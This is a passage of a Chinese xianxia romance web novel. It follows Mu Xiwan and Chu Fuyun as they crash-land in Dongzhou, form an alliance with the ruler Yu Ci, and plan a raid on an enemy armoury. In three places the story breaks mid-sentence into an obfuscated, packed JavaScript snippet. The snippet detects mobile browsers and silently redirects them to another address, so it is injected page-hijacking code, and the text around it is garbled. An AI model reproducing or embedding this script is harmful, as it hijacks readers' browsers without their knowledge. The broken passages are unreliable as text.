这段误会持续了很久,也是在很久以后,当她看见强行搭了船后的楚扶昀会脸色苍白,变得一副气息奄奄病美人模样后。 她才反应过来—— 啊,原来自家夫君晕船啊。 所以在今时今日,暮兮晚迫于需要不得不乘船前往东洲时,明知会有追兵,她也尽可能将船开得慢而稳。 虽然后半程因着天兵追捕,飙船的颠簸还是让楚扶昀有些难捱。 眼下他们一行人甩掉追兵后,踏云仙船却因方才动手时的法术袭击失了控,被云绊着被风牵着,狠狠栽入东洲地界。 紧接着“砰”的一声地动山摇,不会刹船的长嬴驾船赫然与草地来了个亲密接触。 电光火石间,到底还是楚扶昀出了手,捻了个咒揽住暮兮晚的腰往安全处一跃,徒留长嬴一个人摔了个结结实实。 “哎呦,我这一把年纪的老骨头噢。”长嬴叫苦不迭。 「您已抵达目的地附近,当前所在位置:东洲,请花关。」 仙船质量倒好,这般冲撞竟纹丝不坏,罗盘也在尽职尽责播报行程。 楚扶昀单手拥着怀里的姑娘乘风轻跃,稳稳当当落至一旁的槐花树下,他倚树而站,暮兮晚则由于惯性,整个人跌进了他臂弯里,挨在他肩头。 他身体的温度和呼吸都笼了过来,她一怔,轻轻挣了一下身子。 “别动。”楚扶昀眉心紧皱,闭着眼,呼吸有点儿重,看上去,像是还在难受。 暮兮晚仰头看着他清冷凌厉的侧脸,如墨如羽的眼睫,流畅清晰的肌骨,像画里线条似的。 好看。 哪怕他现在冷着一张脸,不笑,也是好看的。 她明白,晕船晕车的人都这样,难受起来了,什么话都不想说,什么事也不想做。 于是两个人站稳了,静静的,谁也没说话。 看着楚扶昀的模样,暮兮晚蓦地想起了什么,低头又挣了挣,似乎是想从随身的衣衫兜里翻出些什么。 “不是说了,别动。” 察觉到了她的不安分,楚扶昀蹙着眉,压着嗓音,有些不悦的睁开了眼睛。 “以前,又不是没这么抱过。” 说的慢条斯理,字句也挨着她的耳垂。 “不是的。”暮兮晚一愣神,旋即强迫自己压下过往心事,她在衣兜里找了找,变戏法似的寻出一个青红的橘子举到他眼前,笑了起来,“酸的,解晕船哦。” 橘子不大,半青半红的,没熟透。 “在方才租船时,见船家身边有一篮新摘的橘子,我顺手求了一颗。”她剥开,清香的气息瞬间四溢,不容置疑地驱散了他身上所有眩晕带来的不适。 她拣了一瓣橘子,递给他。 楚扶昀垂眸看着她,目光微凉,静了须臾,他缓缓叹了一气,没有直接去接她给的橘子,而是微微欠身,更挨近了她,唇齿一咬,就将她指尖的那瓣橘肉,径直含了过去。 他皱了一下眉心。 很酸。 是那种酸里只有半分甜的味道,但是刚刚好,缓解了方才的难捱。 楚扶昀轻声道:“我记得,你不爱吃很酸的东西。” 这是他记得很清楚的一件事。 暮兮晚来了白洲后,不算拘束,每年深秋都会跑出去,去田间阡陌里摘果子,摘满满一篮子,经常惹得一身秋霜露水。 帝微垣的仙官们见了,会暗地里斥她成何体统——堂堂白洲帝后,像个乡下凡人。 楚扶昀在知道了这事后,当面没说什么。 他只是在下次暮兮晚又悄悄跑出去时,逮住了她,在她身边与她一道并行着,去摘果子。 这下子,白洲再没人敢对少宫主“不成体统”的举动置喙吭声了。 暮兮晚不喜酸,怕酸倒牙,吃橘子只爱拣橙红的,熟透了的吃。 至于青的则统统推给了他。 可后来,楚扶昀察觉到,不知从什么时候起,她每逢出行时便会在身上带一个半熟的青橘子,又不吃,只是留着。 他注意到了这事儿,却没多问。 “以前不喜欢酸的。”暮兮晚别开眸,想了想,随口答道,“后来就喜欢了。” 她呼出一口气,彻底从他怀里挣了出来,后退了一步,将两个人隔了点儿距离,别开了目光没同他对视。 暮兮晚心里一叹。 是撒谎了。 不得不承认,如今的她也不喜酸。 但养成了随身带着青橘子的习惯,哪怕当鬼了也没忘,也不过是因为…… 楚扶昀晕船难受的时候,需要一个橘子。 以前两个人一起吃各种果子时,他总是对酸的照单全收,她猜,他应该是喜酸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320245|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以干脆随身带一个,说不定什么时候就会派上用场,就像今日这样。 但是,当着他的面,又不肯承认。 不想他瞧出什么破绽,暮兮晚回了目光,转头去寻找自家师父的身影。 可这一找,就被吓了一跳。 只见长嬴被一群不知从何而来的兵将按坐在土地上,脖颈边架着锋利无比的刀戟,像是威胁他别轻举妄动。 从这些兵将的衣着判断,他们不是方外宫的人,也不是帝微垣的人,此地是东洲地界,这群人,应当是东洲的天兵天将。 “师父?”暮兮晚愣了,下意识上前了一步。 长嬴倒是没半分慌张,笑道:“聊完了?” “师父你还笑!你方才怎么不唤我?”暮兮晚急的一个激灵。 “看你聊的开心,一副有了情人忘了爹的模样。”长嬴打了个哈欠,一脸的伤心忧愁,“就没好意思打扰。” “严肃点儿!别嬉皮笑脸的!”压着长嬴的兵丁语气一硬,对着同伴使了个眼色,“上面来命令了么?怎么处理这几个擅闯者?” “来令了,带进请花关。”不多时,有一位将士指挥着,将他们三人统统包围了,道,“都主眼下就在关内,说是交由都主亲自处置。” 兵丁奇怪:“亲自处置?这几个是什么大人物么?” 将士老神在在,先是指了指暮兮晚,道:“那姑娘浇焉了咱们东洲最大的那棵生财花树。” 所有兵将齐刷刷瞬间变了脸色,十分愤恨地看向暮兮晚。 暮兮晚吞咽一下。 那将士又指了指长嬴,道:“这个,欠了咱们三千多坛‘十洲春色’的酒钱不还。” 现在,所有将士是完全同仇敌忾了,恨不得当即将这两人揍一顿。 “一群居心叵测,心怀鬼胎的小人!”有人低声骂道,“全部押走,让都主好好收拾他们!” 长嬴哀叹道:“怎么这样?说好东洲人‘慈悲为怀’呢!” 暮兮晚听得就是一惊。 不,不不,她不能落到都主手里,她会被砍了的! 她一个转身就往楚扶昀身后躲,完全将长嬴抛诸脑后——大难临头师父您老人家自求多福! “帮个忙。”暮兮晚跑到楚扶昀身后,非常理直气壮,“我如今虎落平阳,打不过对方。” “怎么帮。”楚扶昀对眼下处境倒是不慌不忙,好整以暇地笑道,“得罪了东洲都主的人,又不是我。” 暮兮晚轻轻扯了一下他的衣袖,辩驳道:“我都请你吃橘子啦!” 瞧瞧。 这就是少宫主的厉害之处,四两拨千斤地颠倒因果,瞎说胡扯都信手拈来,半点儿不觉得理亏。 “这可不算。”楚扶昀声音压得很低,像是讨价还价似的说道,“少宫主,告诉你一个秘密。” 暮兮晚歪了歪头,抬眸瞧着他。 楚扶昀笑道:“说谎时不要别开目光,容易瞧出破绽。” 暮兮晚身体微微一僵,听出了他的揶揄,非常不自然地咳嗽一声。 “再告诉你另一个秘密。” 楚扶昀看着她,很难得的眉眼里有笑意,像是方才他吃的橘子不是酸的,而是甜的一样。 连声音,也是带着笑的。 “我其实,也不喜欢酸的。” 8. 方外仙拜谒请花关 三人被带进请花关时,正是午时。 请花关是座地处东洲边境的紧要关口,三市六街,百姓不多,多兵马仙将,兵营驻军,隔江与中洲的半灯城相邻。 相传,此地生着一棵能保佑福庆生财的花树,故而,名唤“请花关”。 “殿下正在里面与文武仙卿议事。”擒拿他们的仙将得了法旨后,将引人至一处仙府中,“还请公子与姑娘等候须臾,容我进去回禀殿下,至于这位欠了酒钱的无赖老道……” 长嬴紧张地吞咽一下。 仙将严肃:“殿下有令,即刻关入仙牢。” 长嬴欲哭无泪:谢谢,悬着的一颗心,终是死了。 暮兮晚同情地拍拍自家师父:“您老人家好好在牢里休息,弟子会想办法捞您出来的。” 长嬴没得反抗,反抗也没用,不多时,就在一声声嗟叹中被数位仙兵仙将五花大绑地押走了。 暮兮晚惋惜地目送着长嬴离开的背影,一侧耳,便听见堂中隐隐传来说话声。 “殿下,半灯城的虞雍差人来下战书,扬言不日就将攻下请花关,依臣之见,东洲应即刻点将迎敌!” “不可!虞雍为您同胞兄长,若杀他,恐怕惹十洲非议!” 暮兮晚听得专注,楚扶昀的声音却在一旁凉凉的响起:“原来是他。” 她转眸,看见楚扶昀如今抱臂而立,没看她,只是望着远处,目光平淡。 暮兮晚奇怪道:“谁?” “虞雍,如今坐镇半灯城的中洲尊主。”楚扶昀抬了抬眸,答道,“世间除了白洲,千洲,东洲这三方王权之外,还有一处中立势力——中洲。” 暮兮晚想了想,点头道:“我记得,中洲作为中立势力,一向不干涉各方王权的斗争,半灯城也是中洲的一座古城。” “可如今,虞雍身为中洲尊主,却为何驻军半灯城,来攻打东洲?” 楚扶昀没有立刻回答,似乎是在斟酌,有些话,有些事,可不可以对她说。 “因为虞雍,也是太师仲容的麾下部将之一。” 最终,他缓缓开口了。 “十二年前,虞雍听了方外宫的法旨,率七万兵将在白洲挑起了一场战火。” 暮兮晚神情微微一变。 楚扶昀道:“这场战争本不甚要紧,我领兵平乱,按理而言,不过十日便可解了危机,斩了虞雍,但……” 暮兮晚难以置信:“但你输了……?” 不可能。 她下意识否决了这一猜测。 楚扶昀绝不可能输。 他之所以年纪轻轻就能统辖白洲,掌一方王权,还被满天仙神畏惧忌惮,就是因为自他出征以来,从未有过一场败仗,到后来,仅仅是“楚扶昀”这三个字,都足以动摇敌方军心,无人不惧。 与得了道的普通仙神不同,楚扶昀生来就为掌兵称王,主天下兵戈。 “我确实用了不过十日光景,便让虞雍溃不成军。”楚扶昀转身,定定地看着她,声音没什么温度,“但在最后关头,我却得知了一个消息——你借此机会离开白洲回了方外宫,去寻你那位,亲密无间的师兄。” “亲密无间”四个字,被他不动声色的加重了语气。 话说到这儿,就停了。 他同她对视着,目光很凉很利,暗流涌动,无言的质问之下,是一柄未离鞘的刀。 “你这一去,再未归来。”他说。 暮兮晚心头一凛,思绪纷纭。 她终于明悟,原来当年是袁涣轩早有图谋调虎离山,调遣虞雍引开楚扶昀,又借机将她诓骗回了方外宫。 然后,他囚禁了她。 也烧死了她。 楚扶昀似乎不想再多说了,也不想等她无关痛痒的解释,只是回了视线重新看向远方,毕竟,一切都太晚了,没什么可听的。 而他没有告诉她。 之所以会让虞雍逃过一劫,是因为在最后关头,他察觉到与她之间的红鸾契出了变故。 那一刹,他知道她出事了。 他当即抛下兵将,抛下残局,抛下了他能抛下的一切。 只为了往回赶。 ……还是晚了。 这场战役虽胜,但放走虞雍,作为将军的他弃下军队,这一荒唐行径,也让此战沦为十洲满天仙神嘲笑的笑柄。 世人说,堂堂白帝,也不过如此嘛。 更难听的话,就不必让她知晓了。 “东洲都主来请二位贵客进去。”二人默默无言间,一位小仙童从殿堂中走了出来,对着等候在外的楚扶昀与暮兮晚恭敬叩拜。 里面的商谈声似乎停了。 楚扶昀一颔首,转身走了进去,暮兮晚一愣神,也跟着他走了进去。 进了殿堂,只见文武仙卿全部恭敬屏退,唯有一位身着纱罗袍,头戴芙蓉冠的绝色女子端居堂上,神情高傲,很美,美得浓烈张扬,仿佛能碾碎世间所有恶意。 这便是东洲都主,虞辞。 说来虞辞真君在四海十洲,也是位有几分传奇色彩的人物,师父与妹妹皆在镇厄之战中身陨,她孤身一人持刀立马,年纪轻轻统辖东洲,实乃英雄之辈。 无论哪方仙祖见了,都得说一句后生可畏。 她抬眸,见到一对璧人从澄澄阳光中不疾不徐走进了,叹了一气,道:“白帝,少宫主。” 虞辞放低了态度暗自掂量,心道今日面对这二人,到底还得客气客气。 白洲帝微垣,千洲方外宫,东洲不问都。 三方王权分天下,明争暗斗数百年,说到底,也不过是最顶尖的几位天骄坐于棋局之上,平日里王不见王的,几乎不会有正面对上的时候。 虞辞见过楚扶昀,也见过暮兮晚,说实话,这对夫妻往人群里一站,哪怕周围有再多仙人道君,公子王孙,也不过是沦为他们的陪衬。 一人扫三洲并六合,诸仙参拜。 另一人破陈规治八方,万民来朝。 不得不忌惮。 “别来无恙。”虞辞颔首,示意仙童为这二人斟酒请座,暮兮晚倒也没客气,径直跟着楚扶昀在一侧轻松坐下了。 眼下这几位高山绝顶的天骄人物,能心平气和齐聚小小一座关口。 大约是这世间开天辟地的头一遭。 “劳心都主殿下记挂。”暮兮晚眉眼弯弯,端起案上酒盅,道,“今日不得已贸然叨扰,是想同殿下放下过往前嫌,杯酒抿恩仇。” 虞辞一愣,半晌,却是挑眉一笑,道:“闯我东洲,借我势力替你拦下追兵,少宫主,你确定你是来杯酒抿恩仇,不是杯酒释兵权的?” 暮兮晚温声道:“殿下误会了,我是从千里之外赶来,专程替你解围的。” 虞辞被这话气笑了,道:“少宫主还是一如既往的伶牙俐齿,毫不客气。” 暮兮晚不慌不忙,慢慢道:“你的人威胁我师父时,不也毫不客气么。” “长嬴?他活该!”虞辞把玩着手中的玉杯,往案上一撂,“差不多行了,我不想听弯弯绕绕,少宫主,你有话可以直说。” “我想同殿下结盟。” 暮兮晚敛了眸,眼睫一抖,神情很平静。 “您的兄长虞雍,他本是中洲尊主,后归降仲容麾下,与袁涣轩一道在十二年前设计于我,此仇必报。” 她一边说,一边心想着,仲容领了五万天兵来追自己,没追上,必然会与虞雍一道在半灯城驻军。 虞辞冷笑,道:“别将那厮与‘兄长’二字扯到一起,他不配。” 一个卑劣小人,一提起,她心里就犯恶心。 暮兮晚道:“既如此,殿下有兵,不若与我们共灭虞雍,如何?” 说的是“我们”二字,自然是将楚扶昀算上了。 “说得好听,别以为我不知你在想什么。”虞辞冷哼一声,驳斥道,“少宫主,你销声匿迹十二载,早已一无所有,如今,不就是想借我的兵,借我的势,替你打回去么?” “我凭什么当这个冤大头,与你谋和?” 暮兮晚皱眉笑道:“殿下还是这般直言不讳啊。” “我对你们白洲和千洲的纠葛没兴趣,完全不想掺和。”虞辞扫了楚扶昀一眼,语调扬了扬,摆起架势,“若是想借此拉东洲入局,那不必打这个算盘了,请回吧!” 暮兮晚心念微转,又偏头去看楚扶昀。 一直没说话楚扶昀察觉到她的目光,也回望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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旋即,她又看了一眼楚扶昀,这位白帝仍是冷着脸,高高在上的,就好像掌了东洲兵权的那个人是他一样! 见鬼了! 虞辞暗自恼怒,心道可算知道方才这两人打的哑谜是在干嘛了!她又着了这对夫妻的阴谋诡计! “我明白了,但必须先说好,请花关的兵力不算太足。” 虞辞收起目光,揉了揉眉心,妥协道。 “白帝,你在灵台山十二载,别告诉我,你的麾下势力被白洲那群老东西分割的一干二净。” 这便是同意结盟的意思。 “三万。”楚扶昀不动声色的开了口,神情自若,“我可以再调兵三万。” 虞辞一愣,下意识反驳:“那也不……” “足够了。”楚扶昀眸光平淡,气定神闲。 暮兮晚心中也是松了一口气。 几人又谈了不多时,聊了其间不少细节,终于,日暮西沉,有一缕夕光打进来。 楚扶昀见话已谈妥,便没了兴致,站起身就向外走,暮兮晚也跟着起了身,想随他一道离开。 “还有一桩事。”虞辞的声音忽然在后面响起,“我会着仙童安排馆驿,为你们腾出一间住处,但请花关毕竟一介凡俗之地,没什么仙境琼楼,还请见谅。” “殿下人真好,我都习惯风餐露宿了来着。”暮兮晚刚想说她哪里在意这些,却蓦地像是捕捉到了什么言外之意,停了步子,面色有点儿古怪,“等等,一间住处?” “嗯?有什么不对吗?”虞辞没察觉有何不妥,仍是自顾自道,“你们夫妻二人方才唱双簧唱得那般默契,一个唱红脸,另一个唱白脸,将我诓得团团转。” “别告诉我,你们要分房睡?” 楚扶昀这下也停住步子了。 两个人的背影皆是微微一僵,看上去欲言又止,但却无从反驳的样子。 “……?” 虞辞并不理解发生了什么。 但她却莫名觉得。 她似乎,在某个地方,终于小小的扳回了那么一成。 9. 方外仙拜谒请花关 虞辞是个说一个不二的人。 当即让仙童领这二人去了阡陌田边一间带院子的馆驿。 正是山家入暮时,有炊烟,有黄粱,沿大路走进,只见馆驿内早已打扫干净,再无闲人。 暮兮晚看向仙童,问道:“这馆驿除我与将军外,便没旁人居住了么?” 领路仙童听了,微微躬身拘礼,答道:“殿下吩咐了,此间馆驿虽小,却是粮油米面一应俱全,少宫主若需仙童伺候,若需仙侍随行,若需琼浆仙露……” 暮兮晚好奇的眨眨眼。 仙童停顿须臾,一板一眼复述着虞辞的话儿:“那得加钱!” “况且这般安排,也不耽误你们圆房成事……”仙童还在喋喋不休复述虞辞的话,暮兮晚本来神情还好,听到后半句则霎时红了脸,连忙上前一步捂住小仙童的嘴。 “不不不,我想你家殿下恐怕是误解了什么。”她有点儿手足无措。 仙童歪歪头,十分懵懂无辜地瞧着这位漂亮可亲,却颇为慌乱的少宫主,默默咽下满腔疑惑。 误解什么了?您二人难道不是仙眷夫妻么? 全天下都知道你们是一对儿呀! 暮兮晚身后传来一声轻笑。 她头也不必回便知是谁在笑,敛唇嗔道:“不许笑!” 小仙童觉得自己什么也没误解。 “那是以前了!我和将军如今不是……”她轻吸一口气,不知如何解释,只得自衣袖中寻出奇样糖酥,一把塞到仙童怀中,贿赂道,“算了,总之!替我多谢你们家殿下了!” 请走仙童后,暮兮晚回头,只见楚扶昀静静地倚门立着,没说话,只是看着她,唇角隐着一笑。 她定了定,开口道:“你……还是和以前一样么?” 楚扶昀的目光掠过她,看向不大不小的馆驿,垂下眼睑,轻轻嗯了一声。 他没有再停留,转身一拂袖,离开了。 暮兮晚看着他的背影,也明白,这一去,他基本就不会再回来打扰她了。 这是独属她与他之间的,一份心照不宣的默契。 以前在白洲,有战事时,楚扶昀作为将军,是不会回帝微垣的,他要率兵,大多都是宿在军营里,忙起来,也不会顾及她。 照理来说,天底下像他们这般身份地位的仙神,哪个不是金贵娇气,前呼后拥的? 可对暮兮晚和楚扶昀而言,却恰恰相反。 楚扶昀身处苍黄沙场,见得最多的,只有烽火,狼烟,和一抹寂寥凄怆的落日残阳。 他是主天下兵戈的帝王。 暮兮晚比他稍微好点儿,无论在方外宫还是帝微垣,身边倒是有一二仙童随侍,但若碰上研究机关法宝,忙忘了的时候,也是不沾枕,不将息。 所以如今,暮兮晚心安理得的一人霸占了一整个馆驿。 她拎着一坛十洲春色,十斤牛肉去看望长嬴。 “请花关的战事很吃紧么?”长嬴还是被关在牢里,可怜兮兮的,见到吃食眼睛都亮了,“他居然这么不着家?” “不,我不是他的家。”暮兮晚看着大口吃肉吃得香的长嬴,认真想了想,答道,“仲容点了方外宫五万天兵,如今再加上半灯城虞雍的兵,近十万人,只怕还要耗上一段时间。” 她从没担忧过楚扶昀的安危。 因为他不会输。 但若要轻轻松松的赢,只怕一时不能。 暮兮晚挽起罗衫披帛,席地而坐,说起话来:“师父,知道神仙打架,和凡尘之间最大的区别在哪儿么?” 长嬴一愣,旋即摇摇头。 他虽在俗世里活得长久,但着实不得富贵功名,闲人惯了,若要论起用兵之道,未必知晓其间细节。 暮兮晚思忖须臾,道:“人间常言,‘兵马未动,粮草先行’,也确实如此,粮草为兵家命脉,没有粮草,是打不起仗的。” “但对于有仙神参与的战役,就又是另一码事了。”她絮絮叨叨,看起来,对这些像是十分熟稔,“仙兵仙将无需日食三餐,自有道行修为,因而粮草也往往变得无关紧要了。” 长嬴吃着酒,问道:“那什么是紧要的呢?” 暮兮晚听罢莞尔一笑,旋即抬手伸出手指比了个“三”字:“兵器,法宝,阵法。” 她解释道:“说实话,仙门教派的斗争,各家弟子之间那几年或者几十年的道行差距已经无关紧要了,除非像楚扶昀那样,通天显化的本事让人望尘莫及。” “而这时,决定兵家胜负的,往往是双方部将的神兵利器是否精良,或是拥有的宝物是否神妙,以及交战时的阵法是否绝伦。” 长嬴道:“怪不得如今人间,皆以‘帝微垣’‘方外宫’‘不问都’三方王权为尊!能提供这么多珍宝的,也就这三方圣府了!” 暮兮晚笑道:“所以,仲容一行人看似来势汹汹,其实,只要断了他们的兵器车仗,要赢实在是不费吹灰之力的一件事。” 长嬴听得入神:“竟是如此,晚晚你这些都是从何学来的!” 暮兮晚叹道:“在白洲混久了,自然会纸上谈兵了。” 长嬴又道:“那你既有这般主意,为何不告知楚扶昀那小子?烧了敌方的兵器车仗,岂不万事大吉?” “楚扶昀怎么可能想不到?”暮兮晚摇了摇头,心道我的纸上谈兵就是跟他学的,也就仗着师父不懂,自顾自地班门弄斧。 “烧营哪有那般轻易?同样,仲容他们自然也会未雨绸缪,将兵器法宝保护的……”万无一失。 话没说完,就停住了。 暮兮晚忽像心灵神至般想到了什么,眼睛一亮,激动道:“我可以偷袭敌营!去烧了他们的兵器车仗啊!” 楚扶昀做不到偷袭,是因为他及他手下的人压根不了解方外宫的备军习惯,没法出其不意。 她能。 她可是方外宫的人! 以前在方外宫时,因着袁涣轩的缘故,她与太师仲容打过不少交道。 那厮习惯将法宝安置于何处,又会怎样设阵整军。 她一清二楚。 她闭着眼睛都能将对方的兵器法宝烧了! 眼见暮兮晚神采奕奕,长嬴忙劝道:“我觉得这个主意不可行,先不提你如今没了道行修为,只说那半灯城必然防守严密,布下了天罗地网,你要怎样神不知鬼不觉的潜入敌营?” 话说着,长嬴一抬头,只见暮兮晚消失得干干净净。 他一愣,再回神时,暮兮晚却已然闪进牢房,身躯半隐半现,看上去就像使了个隐身法一样。 “飘啊飘啊飘~” 暮兮晚在半空中飘飘荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320247|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡,笑容明亮,眸光狡黠。 “我是一只快乐的阿飘。” 长嬴看得啼笑皆非,哭笑不得——险些忘了自家徒儿本是个没人瞧得见的鬼魂儿了! 他笑着笑着,却又是心疼了。 傻孩子。 长嬴想起,别人家的孩子在她这个年纪,合该在人间自由自在的顽皮度日,无忧无虑。 而不是像现在,撑着一个随时都可能随风而散的三魂七魄,苦中作乐。 “你若真有打算,想潜入半灯城烧了敌营,我……”长嬴明白她的性子,叹了一气,道,“我不拦你,只是,你得先同楚扶昀,或者虞辞知会一声,好不乱了他们的布军谋划。” “我明白。”暮兮晚笑了笑,低下了眼眸,静了静,她道,“我会同虞辞说的。” 她说,不会自作主张,会先同虞辞商量。 却没说要同楚扶昀商量。 长嬴眸光一诧,暮兮晚抬了抬眼帘,像是瞧出了他的困惑,笑了一声,道:“找虞辞更快一些,若找楚扶昀,说不定,他都没那个时间见我。” “以前在白洲时就是这样,他一旦忙于战事了,心里是容不下其他人,其他事的,所以我也不会去自讨没趣。” 暮兮晚说罢,拎走空酒坛,起身离开了。 “我走啦,师父,下次再来看你。” 长嬴听出了她话语里的平淡,望着她渐渐消失的背影,沉默一叹。 当晚,馆驿中。 夜里有雨,大雨隆隆落着,劈头盖脸压下来,砸乱了屋檐,砸乱了树梢,又冷又寒。 楚扶昀回来时,暮兮晚早已裹着毯子,沉沉入睡了。 没留灯。 他衣甲上沾了秋霜落雨,发梢潮湿,是从关外驻军地冒雨赶回来的。 一身的寒气,太凉了,他没进屋,只是倚站在檐下门边,放轻了呼吸,静静地看着心里惦念的姑娘,在床榻上安稳睡着。 雨还在落,淅淅沥沥的。 楚扶昀望着她,怎么看,都觉得如今的她太瘦了,也太轻了。 轻飘飘的,毕竟只有个魂儿了,沉睡时,身体也是半实半虚的。 看上去,像外面窗棂的风一吹进来,就能将她吹散似的。 就像……随时随地她会从他身边再次消失似的。 楚扶昀皱了皱眉。 他走了几步,到窗边,将那扇半开的窗棂阖上了。 看了她小半个时辰后,楚扶昀抬眸望了一眼天边。 雨更大了。 他又站了一会儿,看了她一会儿,直至夜色明灭,他便走进雨里,转身离开了。 屋里,暮兮晚依旧还在沉眠,没察觉。 其实这些日子都是这样。 楚扶昀白天忙,忙着整军经武,调遣旧部。 他没带过东洲的兵,一下子接手,需要时日来调整,没有什么机会寻她。 只有在夜深时,兵将都休息了,他才能一刻不歇的往回赶,回到馆驿时,离天亮也就还剩半个时辰了。 但也就这半个时辰,还能来得及,容他再看她一会儿。 然后,他就得重回兵营。 一如以前,在白洲时的每一个夜晚。 只要他能回来,他必然是会回来看看她的。 只是,她不知道。 10. 方外仙拜谒请花关 馆驿离兵营……也太远了吧! 这是不几日后,暮兮晚去找虞辞时,发出的感慨。 馆驿居东,兵营则在西边临江处,几乎要横穿整个关口,哪怕腾云驾雾,都得花上不少时辰。 暮兮晚租了辆仙车,雇了位小仙童领路,终于在落暮前寻见了虞辞。 虞辞没在兵营,反倒是在请花关内的一座仙家道场中,道场中央生着一棵半枯半凋,很有年头的花树,她坐在枝干上,捧一白玉净瓶,以甘露滋养着这棵的花树。 树很高很大,几乎参天,枯黄的叶子层层叠叠,零星坠着几株白花,暮兮晚仰头看了半天,觉得十分稀奇,她认不出这是什么花,但很明显不是凡俗之物。 “殿下在做什么?”她下了仙车慢慢走到树下,五彩霞衣在落日余晖下泛着淡淡金色,“这是什么树?” 虞辞听见脚步声,直起身子手捧净瓶,低眸笑道:“是一棵保佑世间福庆的神树。” 暮兮晚微微睁大了眼睛。 她恍然忆起,此地之所以被唤作“请花关”,正是因为有一棵请福避凶的花树生在此处,想来,说得便是它了。 虞辞使了法术,蘸了一点甘露洒向花树,花树抖了抖残叶,有花瓣儿飘落。 暮兮晚纵身一飞也上了树冠,拂袖盘坐其间,树干很高很大,承载两人绰绰有余。 “可它似乎要死了。”她抬手接住从空中的一片花瓣儿,捻了捻。 “它确实要死了。”虞辞收了净瓶,语气不轻饶,“少宫主,是被你浇死的。” 暮兮晚微微一怔,而后,像是终于想起什么似的,大惊失色道:“它就是我派下属潜入你们东洲浇焉的那棵发财树啊?” 虞辞白了她一眼:“嗯。” 暮兮晚记得这事儿,以前跟虞辞有钱庄生意上的交锋时,起了捉弄的心思,便遣人干了这顽皮事儿,没想到竟气得虞辞提刀冲出东洲追着她打。 她还寻思着,虞辞怎么这么小气。 这段大打出手的过往在当年闹得轰轰烈烈,也是那时,十洲因此流出了千洲少宫主与东洲都主不合的风雅轶事,两位大名鼎鼎的风云人物多次交手,势均力敌。 可让民间百姓看了好一阵欢喜热闹。 总之,无人不敬佩少宫主。 毕竟能将东洲都主逼到这儿份上,也是开天辟地的头一遭! 暮兮晚默默捂脸,心道一声冤枉啊! 不是,她就浇了浇这树而已!她保证当年绝没有把这树浇死的想法! 它可是一棵神树啊!怎么能这么容易就要死了! “此树非凡胎草木,自然有所不同。”虞辞看着她颇为心虚的神情,微微眯了一下眼,道,“它吸收天地精华而生,只饮净瓶甘露。” 苍天,这是什么金枝玉叶啊! 暮兮晚完全震惊了,她这辈子就没见过这么娇贵的树! 虞辞冷笑一声:“少宫主,你多年前拿普通的水浇它,还给它浇了不少。” 暮兮晚目光呆滞,哑然道:“然后呢。” 虞辞道:“它这辈子没喝过这么难喝的水,然后就不想活了。” “它碰瓷!”若现在有个桌案,暮兮晚简直要拍案而起了! 听得这话,方才还奄奄一息的花树霎时精神抖擞,辩驳似的抖了抖,震下一树枯枝败叶,劈头盖脸地砸在暮兮晚身上。 “喂!”暮兮晚措不及防被砸,她撩起发梢上的枯叶,目光炯炯地仰头看着树冠花枝,振振有词道,“你怎么碰瓷还不让人说!” 花树开始装死。 若它能化成人形,定是一脸“你再说信不信我现在就死给你看”的神情。 暮兮晚也赌气般的不理它了,目光瞥向另一边,努力让自己方才的举动看起来不那么幼稚。 毕竟,与一棵树吵架,这太奇怪了! 虞辞忍不住笑出声,连方才严肃的神情都松了不少。 “被你浇一浇就死,确实是它碰瓷了。” 她似乎消了些火气,语气有些无奈。 “罢了。”虞辞收起净瓶,语气也不自觉轻快了,“你来寻我,是有何要事?” 暮兮晚终于重新想起此行目的,看向虞辞,咬了下唇:“我想去天灯城,烧了虞雍的兵库兵营。” “你要不要听听看,你在说什么。”虞辞眉头一皱,声音微扬,“孤身入敌营?少宫主,你可知天灯城里都是方外宫的精兵良将!都是袁涣轩的人!一旦出事,我们谁也来不及保你。” 她顿了顿,冷哼一声,又问道:“少宫主,你这话,对白帝说过了么?” “没有。”暮兮晚摇摇头,叹了一气,“他太忙了,我应该,没那个机会能见到他。” “况且,你不是才是东洲的主君么?所以我干脆来找你了。”似乎是想起什么,她又添了一句。 其实这话说得有几分含糊。 暮兮晚明白,“忙”只是她给自己找的借口托词,只要愿意,她总有办法去找机会见他。 只是…… 她心里隐隐有个念头,或者说,直觉。 如果将这个决定提前告诉了他,他应该不会开心,甚至有可能,会生她的气。 毕竟她的举动擅作主张,越级又越权。 她不是很想惹恼他,也不想见到他生气的模样。 虞辞见她默然沉虑,半晌,才慢慢道:“先说好,我不是怀疑你的实力。” 千洲的少宫主。 虞辞从没将她视作需要千呵万护的公子王孙,并且,虞辞毫不怀疑,只要眼前这位少宫主愿意,哪怕一无所有,别说火烧兵营了,哪怕是火烧半灯城,她也做得到。 几番交手,对这位古灵精怪又胆大妄为的姑娘,虞辞存了三分欣赏,三分敬佩。 所以,她也愿意在她身处困境时帮她一把。 